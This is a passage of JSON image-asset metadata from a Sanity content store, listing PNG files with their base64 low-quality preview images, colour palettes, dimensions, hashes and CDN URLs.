20mrhUeE9rmlaNJrYxbU1TbUlDjYlthVQ0yDbMPc0MxOXDy3uffvmfe/73AQoUGM+B4y1QsA4EAAqchPHUwzZAORtP/fDbBa444iECyALwiIWsDcmgydKC87okOLQqA35KzQVU6wFVOgDkqQObA0UocBzjaRoKnBkF7hPrALUMnw8ovd+zKPaLpiAvTZpCBKCDwf0Z8GuiHvADLcxEz2J21J4G0J6Q5wjjufcZT02M53jG07+m+heN/Nknf3Z+v/xRU6H8rGZNaMnKWFVEUlKyyzGzB+CmWsBI/Sz4JuFr0JMJtIjx9A4K3AvrwKLhP85EjPQ0LLca1i5B9fLAl8sUS35RKld0p6amJpVsLnBFdbZoWJUlmoqZBZkj4ezIBAW6jPH0NOPpcxS4h8MXw0591px2XZeR9EK5IgrDFQqmUChsKpXqSdqaNYdrNdmRLC7He0ap9bJG66VM/XpkByhFntvAeHqX8dxzvEZPfvNpwuYtBTlfGgyGsby8PMzPz7fp9XrcmJk5pd2Qce3gOq1mOsYQiUrdYqta74xqHTDVa5CbhwI1MJ7+zHjuGQr04649a9cXFBafKy8vm9y3bx9aLBZmsVhwd1PTdGXxtts9H+qKJ9W6SFTrfSei9RLHUhzgbGWkKND1s+dHRxlP+4TuFGN1hfFqRUX5ZGNjIx44cIAdbG/HttbW6Ubjru860w3aVyuyfDEuT3onUQv4zsi8ozIRjKcnmED/YzwdHLoQe7Wno+xBZUXZlNFoxOrqalZbW4v1dfUTZtOuSw2G/LhR+Srxv8fPwcZsA7A3tZnrIE/nM57mM55+jwI3Onx52cuLR7eMN9VX2aqrzbi3uZm1tLRgW1vbi/0tLcfqzeaQWz/cgyOnTsLxnG2ztVHr3gEJ42kA4+lWFLiLo1dCBvmjmc/31JVaq81m1tbWyjo6OlhnZ+dgd3d3dcehQz43frwHfT2fQ3FrM0yqtG8Ve4AC+zoA2IC/yNof4IPXFiSOXQou6z+8/kxDefFQaWnpTGNjA7a3t493dXVd6u3tXXnlcr8YEaGuUwBZBQLkDQIxIgDe8AN2RAGsNwTwqxDYLT8B7HC40z81yYF923N2VBVtuV1cVDRRWVlpH3e0o6Oj96DFEp6k8CT4EACyEaASAfKHABxgYQpgnAY8fZYCwl0YSc4Qd4YlcGWh0elb41d35W/S/JabmztVUlKCNTU14yaT6daqlNWVfv7yCI8wjYukHkWSgkEiXXduDnRsRwc3Ilfbz0Eyo9Z5fRSiTFm5MLBXIQ8aio2JmUhPT7cZDAam1xts8fHxY9R/4X0Xr4A6p9C8QFKH80jhY4k4U5gDHdvRwyulhkwptZ6oNoQcDVanLfX07vFwc3/q6+eHwcHBGB4ejkFBQejl5cWcZM6/i93868XLqxaTWnQlhU+kJOcBENNboE2lE02rtN6o1ofcDEsJXuzini4Ri0+LxeLHUql03MnJaVoikYwRInoEYlkX+EQlQNbt90gZusH2l1LYOfk2OFvKGZVOZlPp3K0qncxP5uxBCEkEIC1AJBdALLsOYuezIHVvIPODY0lCt7cDK7W6EqNNAiYEYmL2M5z7l9mf6Gz4OyoDMKkQgOwAAHAiUrcAMj8omvhGpRL/xDgSujUINt30IiZ0I0abOxiZKzGhhBjZXMK5pdivztOoDDgmV8LegHCIW6gGiGwCH0QgtSgmu1BGqlBGzCgjJpTBzikZGJn92wmMTGRPZ0/4PwSvlEYgWS4qAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#33464d","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b0042c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fbb518","foreground":"#000","population":7.2,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcc4d4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e4bc94","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#788779","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fbb518","foreground":"#000","population":7.2,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"goto-financial-Kashyap-image-composition.png","path":"images/sczeoy4w/production/95c17ac4bf2fcec27372f4270a121f7d2b2d67ee-2500x2500.png","sha1hash":"95c17ac4bf2fcec27372f4270a121f7d2b2d67ee","size":1937029,"uploadId":"jLSyne5qzxfNTxPpG0OSpARU23ONXGMI","url":"https://cdn.sanity.io/images/sczeoy4w/production/95c17ac4bf2fcec27372f4270a121f7d2b2d67ee-2500x2500.png"} {"_createdAt":"2022-06-17T08:37:49Z","_id":"image-ccad59f8a84a562c01ce4a97d30f54cc4fcb8dd2-2500x2542-png","_rev":"qkpX9b3U0TpOGFQp8gRkGa","_type":"sanity.imageAsset","_updatedAt":"2022-06-17T08:37:49Z","assetId":"ccad59f8a84a562c01ce4a97d30f54cc4fcb8dd2","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eOF;sR}$9F160|}#tlIrM{Wb9ca0b_XA$w9]aQJCNF,:EfR:R%oMxI","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.983477576711251,"height":2542,"width":2500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAABcRAAAXEQHKJvM/AAAFcUlEQVQ4jVWUeUxUVxTGz2MViWgA6XuALK1YCgIdmMeOyibKpvCe4ICIipUBCipUZYcBZJMlBJSlUBtEkFSMFHiv0jRF2xrtlgaw7tUWa5tSbcVaWWbuaWZGGr3Jzf3jJL/7fWcDFGlAkQEUaO0VaSAiA0Rg9FCkDYnA6D8bsqcQAcDxEdzp8wD8YhXgZQv4dUACqAm8dNQQNUALZSgiMCYo0K5EYLYSgdmlEhiZaoT2Vw5b0A97zHQB9sL+vVHQVBQPCG1w1ycWlF7bAFkeiJQHIML/CtUwCxRoHkWmiwj01yjSN1Gkx1FkBlG0OoCj1o5420y3tigZzmcYw0RIDKA7D/MsB4TlNVAtUAtdRgQmloiMQAR6mgjM9MKI9cOZwTdmHvS/+e+1D98av9jsVvh+SZBTetZhwweXa2ByYz6gYzSoWA5QygGynNYyChqFTigy7WoQivSthZFVnddOsR0f1QbeaDqyTlWS5jOfmeQ7sT02uDYqKmpdIs8vQ+843TmWM1CyvA5K1ZbVQK1dfSIym4nAfEkE5k8Umc7xbt+Y3APJFakpifeTd8QTnttCtkRHzEdHRU5FhId37AgO85/yirFElreaYzljtWXyksIlRGTiicCMo0hPzY3YFpflcAkJO5JHsrNzZisrq7CktJQcyc3F7JwcsnfX7lv7w6KKxtkoH2Tj1vzDxpqoNDlcBIqMARGZaCIwV1Gkf585b9tVlBbQELeNu6NQlGJPTw/p6uwkzc3NpL6hAUvy8h+Xx+/84JLvlnUojVs55RVr8Lf3i6JoLIsMRURGQgTmNIr0o2eD1jdOl7p9k57CP66srMS2tlZSU1NDFAoFKS4uRkVR0V91Bw+1DvB7nFBXqltaWAST/twiUFsUIjKmRGD2oEhfnh+2mvmuy/35iWq58nhLC9bX15OCggKSn59P8vLysKKs/I/jDY3l3bUN9PAP30L76AhcDI7T5lDbNprJ0CGCpS2KdJpKsBy6d9bv7lB38dMzfb2qrq4urK+r06isrq5Wf3C/vb39QG9v7/IhUYT+Uz0AP8tfbRvViDnMiw46quGVr+GnDiG3hxKqBrprxk+e7JpXAxsbG0lVVRWpqDiKlZWVk8eOHdvZ0tK6tLu1Aopr2mBDPwKkoRrIAN5eArM/VoB6LA9mZILqyXWb76+MHjnR3DhZUJC/UFZWhuXl5aS0tIQUFhZiVlbWTZlse1bQel9zi+0ioD9ArD0AyBGAZHsBhofD9a+uwgIiXPlsWHdiYtL/woXRcxVHjz6VyWQkISGBpKVnkJz3DpOMdzMxPCLqicSd7XV0kXq9znXowyEEO/93gNIoVPePJwcf9/YBDo/BLyV1BmcamiKqFYpLKSkpyqCgIPTx8SUbgsNIRIyMhIRz6CzxXbBz9Pjcxj06cmnS5ArIRH2TmEEtcHGo74UmwWO3SF30lZmejUwMTY3c2h0SGDTNsiy6uLiikyuLLp7BuJYNRntnn2krpw0dFutzfXVS58ypVKWR/q6pFzl8AVRJOWqe5UxQyjn85BXjfdAvJCnA26ffXSKZcl7r8nyNs2RhtavfrIPb+oe2LoHnaI/EOONtY3aQjubUvlkjSq58FYgsTxGWW05Yzl7lya9q8ttkGeDtE+jh7q5wcXEbcHCWjtmtDfjExm1jI8PujDWO6FtNpc5bUHKVOSVXGVFyogUuWta8Ul5fxXJLkeUN77DRlIenl6HUQ2Lt+rYHu1oSEmYpTQg1C8hzNeLHGJArTUFOTCk5WQFpaKgBqqus3mPqtaPZZx48oH06yDZuBi5sM4AdgHTTbrAJLQKz+Au6S1J+04Ms1KMyUE9n3zM9Sq7UgzTUo+SE0gIJ/AdLBNIkgD/E0QAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#324751","foreground":"#fff","population":0.22,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04299f","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f4b736","foreground":"#000","population":0.25,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c1bfa7","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4b736","foreground":"#000","population":0.25,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#946775","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcd404","foreground":"#000","population":0,"title":"#000"}}},"mimeType":"image/png","originalFilename":"Swift-Evan-composition.png","path":"images/sczeoy4w/production/ccad59f8a84a562c01ce4a97d30f54cc4fcb8dd2-2500x2542.png","sha1hash":"ccad59f8a84a562c01ce4a97d30f54cc4fcb8dd2","size":1948516,"uploadId":"ynSLyprFFFjM4MQhOu3uEzXGvby3hN8f","url":"https://cdn.sanity.io/images/sczeoy4w/production/ccad59f8a84a562c01ce4a97d30f54cc4fcb8dd2-2500x2542.png"} {"_createdAt":"2022-06-14T14:41:02Z","_id":"image-f1c2a36d9f869d37017ee59c979c1ed759613750-100x100-png","_rev":"qkpX9b3U0TpOGFQp8XFzub","_type":"sanity.imageAsset","_updatedAt":"2022-06-14T14:41:02Z","assetId":"f1c2a36d9f869d37017ee59c979c1ed759613750","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"e6A0@iN2DzM|oV9G%MayM{xu00xs-v%LD%_2D%awxuRj?QRjIURj-@","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":100,"width":100},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEyklEQVQ4jV1VbUyTVxQ+b8GiEALpSIUf1og2LZ9W1DdQPisVQQwoX2JiNIrB0ATTRIeC0Ugq8sP4XgooH0MKFdtCaRFEZlA+pujcMrd0S0xEf5Is/hn+KRlJuWe5l+rYmjy5t7m3z3nOc+45hZQUOwC0wvqnVQCQFADEAEAsAGQWgCwBkJUg2H4WQLIASOyOAoAIAATWITGSm5xKFB3y8PAOjSCQOgDiASCLAGQZgKwCkLUg2P4zgLQIIHkBJBOApAGQNv1LCgB5eW65KDp1SmV3i0zW5gOQ/AASroNswJfv/Izd8QFINwEk3TrpHUZnFuLj+zU63VCLStX3US63BtiPBIFQBgAGKbhu3HPSAID0AYDcFASiiYvrFWDLlg5FUpK9ThQdvuRkeyA2tofGxHRRpbKbKhRdGBHRSeVya5CckzGVGwKQQFBpHcBtBajVtgOi6PAaDG5/VtYw7tkzRBnS0h5iauoDvqrVNgwLa/+S8v9JURCIPzTU6omI6DRAerqzRa93LRoMbszJGaEZGS6q17tw3z4HX8+ff47V1VMYE9O90cMvKVOG0FArKpXdi/Hx/RbQ613zeXnuz4wwO3uE5uaOYFbWMN29+wEePOhBQt6ixfITJiQMcjJBIBgZ2YkqVR/Vagdx585+qlL1sWyW9XrXLOTmjvx5+PDYakGBFw0GNy0qGqM5OSMsdaysnERCfsXbt39hZxge3oFbt/ZgUdEYV15fP0draqZpSck4lpc/Xj116ukSGI2ev8vKHq8dOfIIDx3y0mPHJjihKDqxpmYazeZ5vHTpBZ44MYXx8f1c9ZUrC3j27DQjpvn5o7SgwIO1tc/XGhsXViAz07VSWjrxlbC0dJz5iPn5o9jQ8JKpwKamV9jUtMDOsbb2GdbVzeCuXTammEZH36OJiYN47tyztevXX6+AVjuwZDC4V/PymIfDTB2vLEv3xo0fOdmdO2+xvf03TnTx4g94/PgT7mNISBtNSBikTIzZPL/a2vrzEiiVPbNpaQ+X09OduH+/gxeDrcwjpoYFYh5dvvwSr159xcGI1WobjY3twYqKScqCNje/+dzb+8ccRER0WJKT7YvMN1bdpCQ7r7TJNMO93Ly5HaOi7mJx8SNuwYULc9jQ8IKeOTONVVWTtLFxgTY3v8Fr115/GB5+fws2bbIaUlLsnsJCr99o9KBGM8BSpsz8bdu+4++NPRX2uBkps6Sw0Ms8o2bzPGUBqqun/FVVT8a6unxGkMutCr3eZTp6dMJXUOAJ7NhxnxvNIJdbv3ZEWFg7b0mWJrvDgqanO1lXBbTaAZ9GM2CqqnryDURF3RVKSsa1FRWTLUbj6EeVqi8gk7UFu2Bjz0qUFSEurpeyltTphjAxcTCgVts+arUDLWq1TQvwrQDv3v0F5eWP5ZWVk7rs7JGWuLhen0zWFhxf/x1dISFt/GGnpj5AUXT4RdH5uyg6bmVmDutOnvxejogAxcWPgG2qq6fkOt2QNirqbp0gsAErvV8fsFJwwEprgkBWIyM7l7dv71tMTrZ7MzKcpgMH3Nq9ex9ystLScYCysgk2YMFkmgFB4OM8+BfAx/wMgLQEIK2sgyzJZGQ2LKzdEh19z6BW2xT19XPCp09+yM8fhdOnn8I/9JjDVmn9ajQAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#34446c","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04048c","foreground":"#fff","population":18.79,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#04048c","foreground":"#fff","population":18.79,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#868acb","foreground":"#fff","population":2.5,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a0a1eb","foreground":"#000","population":0.82,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5558a3","foreground":"#fff","population":2.77,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#07059e","foreground":"#fff","population":6.55,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"agileseo.png","path":"images/sczeoy4w/production/f1c2a36d9f869d37017ee59c979c1ed759613750-100x100.png","sha1hash":"f1c2a36d9f869d37017ee59c979c1ed759613750","size":5555,"uploadId":"haEn8JQnX63TWQfWHEqpGbqOpCikD3YF","url":"https://cdn.sanity.io/images/sczeoy4w/production/f1c2a36d9f869d37017ee59c979c1ed759613750-100x100.png"} {"_createdAt":"2022-06-14T14:41:12Z","_id":"image-443e6e5200d3992c34966ea17a7724689d692e40-205x205-png","_rev":"0HOthdQkSgJdYc0C9r2iav","_type":"sanity.imageAsset","_updatedAt":"2022-06-14T14:41:12Z","assetId":"443e6e5200d3992c34966ea17a7724689d692e40","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eED[%^-o5lxZtS0g9ZMxwbxaTe?G~CI:NKM}IUIoIUf6%M%2%Mt7Wr","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":205,"width":205},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAIAAAAC64paAAAACXBIWXMAAAsSAAALEgHS3X78AAAEiUlEQVQ4jRXP628TBQAA8Ps7VMCtK13b67X36N31Xm3v1btrr9fH9XFbd13b0XXd1q1sY4w1Q+jKeG0q2yDbEIKR+CABQSOSAB8IiBr9YiRGDDF+MCQqMfwHxt9/8ANKVtYeMksFM59KpzRdVxKqGA+zCk7IMCZihMhxMZGP6bJWMovV0anadK+xvDPd+2Ru4y5gW+mqbVZt07ayQ2Y6pWkCn4hodVqf9UdrIF1E6SRLC7Ewr4uxuBiPaznDrGaGmvlyG9Bj4YwumIZkJuV8UkmKvCIZ1sSZ4aXrrH3eLc54QgWSFCIkFaaiNJMgGINgDSYSjwoKQOMQT2MyR0gMrnGUxlBqRLBKzeFmV7SWMKlK0DoTDKFuD+RB0ZABsbYDt7xBlWU4AA8MhomAQCBhBBJwRAwijB9kEYSnmBgnZGS1ljIsMUy4Blz7+/xewk8k+wPJgyAnsBxAwG4WBdmAlwJdXACMwL6w3xsNgDqJ1BS+V7evdNrrk6MjPMW4nZjTibght9PncXpFigJYHGQQL+5xBgcHWMgjIJBOBYtRqqHxp8dKd86d+PbqhQebva2ZWlOXkgTCgO7AgMPb14d7QUCgEJ6AWRjkAj4B9fMBr4ZCdjR01IxfmW9+s7vx261rv3y29+D97u5cY6GQzLAk5fX4HI6gzwdIFMrjgSjml0lMJVEp4DVQX12kOvnE1mT5Tu/o051zP1zeeLTVu3H8cK+StyIUC3pCfkiXRUAg4TDm+3+LQCIKGYR/jCdbKteU2clYuGPGtxojHy1M7LWqJ4dTYyIjQ+7gQH80iJbzaUDnSYXBOBgkPS4hANrR0PGCtmanF9NKQ2Sn5ehZu7A7VV1MSinYK3kGmIG3/Qfeov0+S1eBrMIZAs3BIHbQoePIohnfa1U/P3745srcldnG1dnm3d7KvVMr3YIxTCAWgRgBj3/fG76+A7EQDihhXIsQLAL6+w8kCGztUOnWySOP31v9fnPtyfrq03dPP7u8/eP2+rVWfc3KdgupcZ4O9u8f3PcmBboBnoJFBmGDIDLoUMlgt27fPLV0d63zVXfp/qmVr08s315e+HShtVMvX6rbF2pDc6mYwRJiCItRGCBzmMyhPA3LDGbFIkdHchfnG5dmD62PDW/Wy2eGzRkpXGWIGheaUfl5Q24XjVal2LDzI5k4IHOoxKFxgWwU9ZPjpY6dWy5ljlnJ+VSsk9GOqHwZh3WvK+Z2xkBXliWmy/ljM/X2uF0pJIGCIQ2lpLlK9sPV+Xub3Z0jEzMZra4Jy1Z6qzl63s635UiJgFWfKwq5i3F5cWqs0x5v1YZGc3Fgb3vj+sWzD69t/Hp798WdDx5ur56o5G050s6lNyZrvXKhIXMZDIp4XQqDT1Sspdnx+WZ5qlI4ZBnAHy+e//n8p79/fvzquy9ePvz42Y3t6yut2aw6qvAVVShwIQXxceAgB4NJmR619JGCNpJX66X0pJ0DXr/65/Wrv16//P3fZ09ePrrx4svL97feOTNenDQkkyM4cBB1OuiATxcoM8Fk4rTCYwmJLOe0qXLuP/Q1la9Cyz5iAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#573630","foreground":"#fff","population":3.41,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2f4a77","foreground":"#fff","population":1.85,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#573630","foreground":"#fff","population":3.41,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c38b84","foreground":"#000","population":0.56,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ecb0a6","foreground":"#000","population":0.19,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9e6e63","foreground":"#fff","population":1.46,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5d85bd","foreground":"#fff","population":0.72,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Ronan_.png","path":"images/sczeoy4w/production/443e6e5200d3992c34966ea17a7724689d692e40-205x205.png","sha1hash":"443e6e5200d3992c34966ea17a7724689d692e40","size":83135,"uploadId":"NQdWdeiVAmd70lhGKzCY6w81lhi7woop","url":"https://cdn.sanity.io/images/sczeoy4w/production/443e6e5200d3992c34966ea17a7724689d692e40-205x205.png"} {"_createdAt":"2022-06-15T20:02:26Z","_id":"image-550aa6bd0a079007741a893325cf86f8e4e202e5-1567x844-png","_rev":"CK1sLU2mnwa3vmbYWEdVbi","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:27:27Z","assetId":"550aa6bd0a079007741a893325cf86f8e4e202e5","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MLQlwb.T%#8_-WY8Iob^%0IVS~ivVrT1xr","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADEElEQVQokR2MW28UZRiA5w/5CzRe+AMEbjXRGLFBEw8hxgutJCYY2UajwdaihYK2CW47rSRAYihpFUtpYdudPXV25/TN8ZvD987szs5sj+z7Grh48jxXj8Sc6KJu+jcNK1jRTX+5p7myZniyaXFZN/2X7fogx6KQRXogh3Eua4YvG1YgR0kui7RcFlCuCChvCSi+knTDv9Fo9jSl0c3qDVXUdttQV1RotnXYU/Zhd7cNxr4JoqtD1lLAb+5CR1FANxyIkwEIGAohhilArgLk1yQvSJcsFqamxcmwOOmm/9ImC0k3A9I6Brn/bVOy9DsZ01/T5swkbf01R1Zzm0LPIz8QFPCM4iiN0gTmpQTKPxMokwRKSqAcJ1BgJEr0owK9F5gcnfv3kX37CW5MvI4/vfMqzk2+hTt3fkS1tj7W1O7YtjlxP+IQ8nlJpKOqSEdCpCMSaYkifTEuyI+GxIIhWSwh49EmGdcukfLlG/THB6/QdxOv0crPF6ixfgOt1hZGjklp4PKc29clAUVVQCEEDAkgR4ABgeiTSFIKQyDPS8juWeQ8XqPwzhVSZt+l5ctn6eH8BbKf/IaJ9hgzV6M8MMMiMG5KAINqCn2RiYwykY77QuAgiXGQRJjHIfZDD8ExMDa6GKp7aD65h42/Z9H8dxrT9ioO2Q7m7j4N3F6YOb1bUj9Jqv04TvpxRIM4HOdxgMPYxyJ2sYwdHHEdR3YdS6Zg3+1hoO+j036KbmMdXeUhQndrfMh26dBWRGE3V6WhYyxlTANha9T3TSpDRqPIooPQpMPQoEPepSO3QceuQplZp9b2Bq3dXaXqwjwtzM3Q5r3blHf+IbR3Bs/d2ppU9urTaae2x9U9B1jHGnGNHYUaO+JddsxVdsI77CRosdOgybzGI3vx+oz3+cVP+fn33/M+/nDCXpz93orqDxxynzbRe7YgHbDW20OzcalvNacKt1M54mrlmKuVE96pnAatymnQrDz3lcrYr1fs2oOpHy5PXj139syv5868efWLzz6aurv4yxVob0yhX/sGvWfn/wcVVOT722oJOQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#453229","foreground":"#fff","population":0.52,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#52450d","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f67f0b","foreground":"#fff","population":0.78,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dcbebc","foreground":"#000","population":0.39,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#94d0f7","foreground":"#000","population":0.04,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8e7b56","foreground":"#fff","population":0.25,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f67f0b","foreground":"#fff","population":0.78,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"550aa6bd0a079007741a893325cf86f8e4e202e5-1567x844.png","path":"images/sczeoy4w/production/550aa6bd0a079007741a893325cf86f8e4e202e5-1567x844.png","sha1hash":"550aa6bd0a079007741a893325cf86f8e4e202e5","size":294069,"uploadId":"RJLaTfYinRXZjNsmoKS0ZaLY4RGHbTta","url":"https://cdn.sanity.io/images/sczeoy4w/production/550aa6bd0a079007741a893325cf86f8e4e202e5-1567x844.png"} {"_createdAt":"2022-06-15T20:02:27Z","_id":"image-e01b86b7a8ebfae072ac8da967d16023c24b0a98-1567x844-png","_rev":"QRl2cGoCgj0FlAhkRriDXW","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:27:15Z","assetId":"e01b86b7a8ebfae072ac8da967d16023c24b0a98","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MOQ05W.8%gNFi{lCIVout7af?FMxIBxaoz","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADBklEQVQokRXMW2/aZhgAYP/P3e4X7Gq76KRJ0yazi2lSVqlpIe0qtSEL1TiFhFOaJtAkYEM4OTYHGwM+vd9nAzYJWcT7Tnt+wCNMDPs7dWge3GvTlKqZf6tD83g4XhzrU+fYcoIjj0fvwY8SHo/iLoQJF8I4sCgOPEoA38SBbw6ARx+BRe+AhS8ERTXiclvRGlLPb0g9aEg9JrX6rNsZsmkXwGtFLmihY04cp9NVnXvNsF1YO8zfOJbt2+bMtW3HZ4ytxowtU8J0Bkdj3eLD8ZyGozlpoxlp4xmN7hdkFIBmf/g0/wuoVxpQ8aRMt9dN8lxOy2VIo7FBjYZMQ21EzIVVAKwseCw69FjkeSwiF8KdCyE6sMbp2MPuxyFKPwywFRvg16MbLP9TRTl/h5Zk7Zjp7lRFwXqttlMHfQpcy197dlEAvkkC3wDwDQGPEHhEwP8PbbpL9rD+yzVeJL5g5aSCn3OXWHvdxuZ+H3vnPey0WtiSZZyoCvnWNIhcsygAC5PAQgC2JsZWyNiSfL4kZnGyzhek7StU//CZTvNZOssUKP/mjNJ7p1T6VKGryyu6vrrF23KLhje9YG1qRYGxZZKzAHzwyQe+CwBwyQBDzjGcclzUDbxMVzGdSmIxlcXi6zNMv8xg/jiH1WoZzws1zP/ZpFq8E/j9flEIPC8ZuK4XuA4tXXu3chcYuguMYIEPzEbHGGHpJIeJN/tYOEyj9PYar15e4OmHLBbPClhOf9llfpWpKg583uwUhfV0dOTrGgNDo2A+psjWaeNM6MEZ09ad0GqmUL2co7ev9qiSTpF1I9P8/Ia+ZrNUSKcpd3BBqe/vqPLzYOk32iUhUlt7vN+ULUWeMr0/2ViavrU1fWvd60+Wom/nPd1sX+i3pZQ+apT0R6Opb0d1XbvK6OVPh8bJq7KefdGZ1n7vd1Yt+b3woHe/WY/vfgwmnVho9sWtpYhPliL+a/XF50VPfF50xCdTFh+NhvhsNkWcS+LOqItuMxOT8u9+k3PpmJprxMxS+6dHVfr2PxVU6NwVowLlAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#453451","foreground":"#fff","population":0.09,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6007d8","foreground":"#fff","population":1.52,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f8e3d1","foreground":"#000","population":7.69,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4ccd4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8e3d1","foreground":"#000","population":7.69,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a99163","foreground":"#fff","population":0.38,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cc09ea","foreground":"#fff","population":2.12,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"e01b86b7a8ebfae072ac8da967d16023c24b0a98-1567x844.png","path":"images/sczeoy4w/production/e01b86b7a8ebfae072ac8da967d16023c24b0a98-1567x844.png","sha1hash":"e01b86b7a8ebfae072ac8da967d16023c24b0a98","size":358030,"uploadId":"TX6BwbZyuIdFZJSWomvnB85uFrhvK2MY","url":"https://cdn.sanity.io/images/sczeoy4w/production/e01b86b7a8ebfae072ac8da967d16023c24b0a98-1567x844.png"} {"_createdAt":"2022-07-08T09:49:32Z","_id":"image-c31a5beec3495239a39b77e78493b044ff95aacc-1567x844-png","_rev":"QRl2cGoCgj0FlAhkRriV4C","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:31:39Z","assetId":"c31a5beec3495239a39b77e78493b044ff95aacc","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M97L1o.9ROaJS5?w-pIoR*s,M|V?R.oft6","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAACjUlEQVQokT2S/U9ScRjFr4BAiRKtF605m97LvVzBq0GaNpmLAjRomYbAfeNFLCtbs1aWsyydOdNaf/Gn3S/WD2fft33Pc55zHik8+ZKB6TdEMlv0pV